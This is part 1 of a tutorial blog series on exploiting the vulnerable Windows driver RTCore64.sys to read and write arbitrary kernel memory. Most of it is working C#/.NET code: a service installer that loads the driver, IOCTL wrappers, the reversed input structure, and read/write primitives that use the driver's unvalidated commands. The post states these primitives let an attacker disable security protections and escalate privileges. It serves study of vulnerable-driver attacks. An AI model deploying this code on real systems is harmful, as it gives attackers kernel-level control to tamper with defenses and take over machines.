Executing Kernel Functions Through a Vulnerable Driver - Part 1
Disclaimer: this article is for educational purposes only. I often gloss over technical details to avoid overloading the article with explanations of every concept. Feel free to use AI to help you understand any points that are unclear. The full source code is available here if you want to explore it in more detail.
I’ve always heard about these so-called vulnerable drivers that grant a capability normally out of reach: reading and writing kernel memory. From this alone, a malicious actor can disable security protections, elevate a process’s privileges, execute code directly in the kernel, and call any API normally reserved to the kernel and its installed drivers.
While researching the topic, I came across this GitHub repository that provides a list of vulnerable drivers along with an implementation for kernel memory read and write. The project is fairly comprehensive, but doesn’t really explain how everything works end to end, nor does it cover calling arbitrary kernel functions from userland. That’s exactly what I’ll try to cover in this series of articles.
Understanding the driver vulnerability
Among the supported drivers listed in the repository’s README, I picked the second one:
RTCore64.sys, bundled with an application called “MSI Afterburner”. I downloaded the driver,
making sure to grab a version where the vulnerability is still present (I assume it has since been
patched). I then opened the .sys file in IDA, my go-to tool for decompiling ASM code.
The driver’s code turned out to be tiny, which makes reverse engineering much simpler. In the entry
point, an IOCTL (Input/Output Control) communication channel is set up - this is the standard
mechanism for userland applications to send commands to a driver. The handler callback points to the
function at +0x1450.
This function receives the IOCTL code and parameters sent by the userland application. The code
value is built by combining several parameters using the standard CTL_CODE
macro from the Windows SDK.
Scrolling through the switch case, I found what I was looking for: two separate commands that allow reading and writing memory at any virtual address, with absolutely no validation whatsoever. No checks on the address, no boundary enforcement on the accessible regions. Each command can operate on 1, 2, or 4 bytes at a time, but that will be more than enough for what comes next. Why do such methods even exist in this driver? What was their original purpose? I couldn’t find an answer. Perhaps a lack of security mindset, or a debug tool that accidentally shipped to production?
This is far more trivial than I expected. I have everything I need to start building.
Implementing the exploit… in .NET!?
The choice of .NET might seem absurd for code that will call native Windows functions, but in reality .NET has everything you need for native interoperability (pointers, unmanaged structures, unmanaged function pointers), and it lets us benefit from its high-level framework for the more standard operations.
We start by bootstrapping the project using the dotnet CLI: dotnet new console. We open VS2026
and import the CsWin32 NuGet package, a
library that provides state-of-the-art .NET bindings for the Win32 API. Then we customize the
project’s build settings: the target platform is x64, we use the net10.0-windows framework to
avoid potential warnings related to platform-dependent methods, and we also set AllowUnsafeBlocks
to true, since CsWin32 will potentially generate code that uses unmanaged pointers. We also
create a manifest to enforce starting the application in administrator mode, since you can’t install
a driver without it.
The first step is to write a small service that can programmatically install and uninstall our
vulnerable driver. Note that kernel-type drivers won’t show up in the Task Manager or in
services.msc. You can check their status using sc query type=driver or by querying the service
name directly with sc query <serviceName>.
/// <summary>
/// Manages the lifecycle of a kernel driver through the Windows Service Control Manager (SCM).
/// </summary>
internal class DriverService(ILogger logger)
{
/// <summary>
/// Registers and starts a kernel driver as a demand-start service.
/// Removes any leftover service with the same name before creating a new one.
/// </summary>
public CloseServiceHandleSafeHandle InstallDriver(string path, string serviceName)
{
logger.LogInformation("Installing driver service '{ServiceName}' from path: {Path}", serviceName, path);
if (!File.Exists(path))
throw new FileNotFoundException("Driver file not found.", path);
using var scmHandle = OpenSCManager(null, null, SC_MANAGER_ALL_ACCESS);
if (scmHandle.IsInvalid)
throw new Win32Exception("Failed to open service control manager.");
// Clean up any leftover service from a previous run
StopAndDeleteService(scmHandle, serviceName);
using var serviceHandle = CreateService(
scmHandle,
serviceName,
"RTCore Vulnerable Driver",
SERVICE_ALL_ACCESS,
ENUM_SERVICE_TYPE.SERVICE_KERNEL_DRIVER,
SERVICE_START_TYPE.SERVICE_DEMAND_START,
SERVICE_ERROR.SERVICE_ERROR_NORMAL,
path
);
if (serviceHandle.IsInvalid)
throw new Win32Exception("Failed to create service.");
var startResult = StartService(serviceHandle);
if (!startResult)
throw new Win32Exception("Failed to start service.");
logger.LogInformation("Driver service '{ServiceName}' installed and started successfully.", serviceName);
var openedServiceHandle = OpenService(scmHandle, serviceName, SERVICE_ALL_ACCESS);
if (openedServiceHandle.IsInvalid)
throw new Win32Exception("Failed to open service after starting.");
return openedServiceHandle;
}
/// <summary>
/// Stops a running kernel driver and removes it from the SCM.
/// </summary>
public void UninstallDriver(string serviceName)
{
logger.LogInformation("Uninstalling driver service '{ServiceName}'", serviceName);
using var scmHandle = OpenSCManager(null, null, SC_MANAGER_ALL_ACCESS);
if (scmHandle.IsInvalid)
throw new Win32Exception("Failed to open service control manager.");
if (!StopAndDeleteService(scmHandle, serviceName))
throw new Win32Exception("Failed to uninstall service.");
logger.LogInformation("Driver service '{ServiceName}' uninstalled successfully.", serviceName);
}
/// <summary>
/// Stops and deletes an existing service. Returns false if the service doesn't exist.
/// Waits up to 10 seconds for the driver to fully stop before deleting.
/// </summary>
private static bool StopAndDeleteService(CloseServiceHandleSafeHandle scmHandle, string serviceName)
{
using var serviceHandle = OpenService(scmHandle, serviceName, SERVICE_ALL_ACCESS);
if (serviceHandle.IsInvalid)
return false;
if (!QueryServiceStatus(serviceHandle, out var status))
throw new Win32Exception("Failed to query service status.");
if (status.dwCurrentState != SERVICE_STATUS_CURRENT_STATE.SERVICE_STOPPED)
{
if (!ControlService(serviceHandle, SERVICE_CONTROL_STOP, out status))
throw new Win32Exception("Failed to stop service.");
int retries = 10;
while (retries-- > 0)
{
if (!QueryServiceStatus(serviceHandle, out status))
throw new Win32Exception("Failed to query service status.");
if (status.dwCurrentState == SERVICE_STATUS_CURRENT_STATE.SERVICE_STOPPED)
break;
Thread.Sleep(1000);
}
}
if (!DeleteService(serviceHandle))
throw new Win32Exception("Failed to delete service.");
return true;
}
}
We run the program, and the driver installs and uninstalls correctly. A good start, but now we need
to communicate with the driver through IOCTL using the codes corresponding to memory read and write.
We quickly put together a few generic utility methods that wrap DeviceIoControl and allow us to
send unmanaged structs directly as IOCTL input/output buffers, keeping the calling code clean and
reusable for any driver.
internal static unsafe class DeviceIo
{
public static void IoControl(SafeHandle handle, uint dwIoControlCode, void* lpInBuffer, uint nInBufferSize, void* lpOutBuffer, uint nOutBufferSize)
{
var unsafeHandle = (HANDLE)handle.DangerousGetHandle();
if (!DeviceIoControl(unsafeHandle, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize))
throw new Win32Exception("DeviceIoControl failed.");
}
public static void IoControl<TI, TO>(SafeHandle handle, uint code, TI* bufferIn, TO* bufferOut)
where TI : unmanaged
where TO : unmanaged
{
IoControl(handle, code, bufferIn, (uint)sizeof(TI), bufferOut, (uint)sizeof(TO));
}
public static void IoControl<T>(SafeHandle handle, uint code, T* bufferInAndOut)
where T : unmanaged
{
IoControl(handle, code, bufferInAndOut, (uint)sizeof(T), bufferInAndOut, (uint)sizeof(T));
}
public static uint CtlCode(uint deviceType, uint function, uint method, uint access)
{
return (deviceType << 16) | (access << 14) | (function << 2) | method;
}
}
This will allow us to easily send the structure that the driver expects for reading and writing
memory. Let’s define it. Looking at the disassembly, the IOCTL handler starts by checking the buffer
size, so we force our struct size to 0x30. The target address sits at offset 0x8, the operation size
(1, 2, or 4 bytes) at 0x18, and the read/write value at 0x1C. There is also a field at 0x14
that seems to serve as a displacement relative to the address, but I don’t see a use for it, so
we’ll keep it at 0.
[StructLayout(LayoutKind.Explicit, Size = 0x30)] // InputBufferLength == 0x30
internal struct RTCORE_COMMUNICATION
{
[FieldOffset(0x8)]
public ulong Address; // address = *(_QWORD *)(SystemBuffer + 8)
[FieldOffset(0x18)]
public uint Size; // switch ( *(_DWORD *)(SystemBuffer + 0x18) ) -> 1, 2, or 4
[FieldOffset(0x1C)]
public uint Value; // *(_DWORD *)(SystemBuffer + 0x1C) = read result / write value
}
All that’s left is to code the read and write methods for our driver. We’ll use an interface to highlight the kind of contract we expect from exploiting a vulnerable driver, in case we ever want to use a different one.
internal unsafe interface IVulnerableDriver
{
void Read(ulong address, byte* buffer, uint size);
void Write(ulong address, byte* buffer, uint size);
}
Note that I’m using unsafe pointers in my signatures where Span could have been an alternative,
but I find the unsafe syntax more natural when working with raw buffers and unmanaged structures
throughout.
Time to wire it all together with the actual Read and Write implementation for our driver. Since the driver only supports 1, 2, or 4 bytes per IOCTL call, we chunk larger reads and writes by processing as many 4-byte blocks as possible, then 2-byte, then the remaining byte.
internal class RTCore :
IVulnerableDriver, IDisposable
{
private readonly CloseServiceHandleSafeHandle _handle;
private const uint RTCORE_DEVICE_TYPE = 0x8000;
private const uint RTCORE_FUNCTION_READVM = 0x812;
private const uint RTCORE_FUNCTION_WRITEVM = 0x813;
private const uint METHOD_BUFFERED = 0;
private const uint FILE_ANY_ACCESS = 0;
private static readonly uint IOCTL_RTCORE_READVM = DeviceIo.CtlCode(RTCORE_DEVICE_TYPE, RTCORE_FUNCTION_READVM, METHOD_BUFFERED, FILE_ANY_ACCESS);
private static readonly uint IOCTL_RTCORE_WRITEVM = DeviceIo.CtlCode(RTCORE_DEVICE_TYPE, RTCORE_FUNCTION_WRITEVM, METHOD_BUFFERED, FILE_ANY_ACCESS);
public RTCore(DriverService driverService, string driverName)
{
_handle = driverService.OpenServiceByName(driverName);
}
public void Dispose()
{
_handle?.Dispose();
}
public unsafe void Read(ulong address, byte* buffer, uint size)
{
uint offset = 0;
for (; offset + 4 <= size; offset += 4)
*(uint*)(buffer + offset) = ReadPrimitive<uint>(address + offset);
for (; offset + 2 <= size; offset += 2)
*(ushort*)(buffer + offset) = ReadPrimitive<ushort>(address + offset);
if (offset < size)
*(buffer + offset) = ReadPrimitive<byte>(address + offset);
}
public unsafe void Write(ulong address, byte* buffer, uint size)
{
uint offset = 0;
for (; offset + 4 <= size; offset += 4)
WritePrimitive(address + offset, *(uint*)(buffer + offset), 4);
for (; offset + 2 <= size; offset += 2)
WritePrimitive(address + offset, *(ushort*)(buffer + offset), 2);
if (offset < size)
WritePrimitive(address + offset, *(buffer + offset), 1);
}
private unsafe T ReadPrimitive<T>(ulong address) where T : unmanaged
{
var payload = new RTCORE_COMMUNICATION
{
Address = address,
Size = (uint)sizeof(T)
};
DeviceIo.IoControl(_handle, IOCTL_RTCORE_READVM, &payload);
return *(T*)&payload.Value;
}
private unsafe void WritePrimitive(ulong address, uint value, uint size)
{
var payload = new RTCORE_COMMUNICATION
{
Address = address,
Size = size,
Value = value
};
DeviceIo.IoControl(_handle, IOCTL_RTCORE_WRITEVM, &payload);
}
}
The T in ReadPrimitive<T> can only really be byte, ushort, or uint, but since it’s a
private method that only serves the internal implementation, there’s no need to add unnecessary
validation.
We can now read and write kernel memory! But… read what? At which address? How is this going to help us call kernel functions? Well, we’ll answer all of that in part 2 of this series!